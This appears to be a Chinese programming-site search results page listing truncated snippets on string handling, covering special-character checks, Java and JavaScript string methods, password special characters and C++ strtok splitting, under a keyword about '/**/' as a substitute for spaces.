    千次阅读 2020-07-02 10:18:30
    检测特殊字符 正则表达式特殊字符 用户在取名或改名时,输入特殊字符的情况检测。
  • java字符常用的方法总结

    万次阅读 2019-02-11 11:19:25
    4、字符替代replace、replaceAll 5、字符串反转reverse 6、字符串转变大小写toUpperCase、toLowerCase 7、去掉首位空格trim 8、是否包含某字符/字符串contains 9、返回指定位置字符charAt 代码及运行结果...
  • package nyfz.util; import java.math.BigDecimal; import java.util.regex.Matcher; import java.util.regex.Pattern; public class StringUtil { /** * 验证是否为数字 ... */ public static bo...
  • 英文密码特殊字符大全

    千次阅读 2022-01-19 10:02:59
    密码中一般需要支持特殊字符,但特殊字符包含哪些,如果规则中漏掉了键盘上的某个字符,会让使用漏掉的特殊字符的用户很不爽。 什么是特殊字符? 特殊字符是不被视为数字或字母的字符。符号、重音符号和标点符号被...
  • 1、slice(): 返回字符串中提取的子字符串。 var str="Hello World"; var str1=str.slice(2); //如果只有一个参数,则提取开始下标到结尾处的所有字符串 var str2=str.slice(2,7); //两个参数,提取下标为2,到...
  • C++常用字符串分割方法

    千次阅读 2021-04-10 09:56:53
    一、用strtok函数进行字符串分割 原型: char *strtok(char *str, const char *delim); 功能:分解字符串为一组字符串。 参数说明:str为要分解的字符串,delim为分隔符字符串。 返回值:从str开头开始的一个个被...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 59,024
精华内容 23,609
关键字:

/**/是空格常用替代字符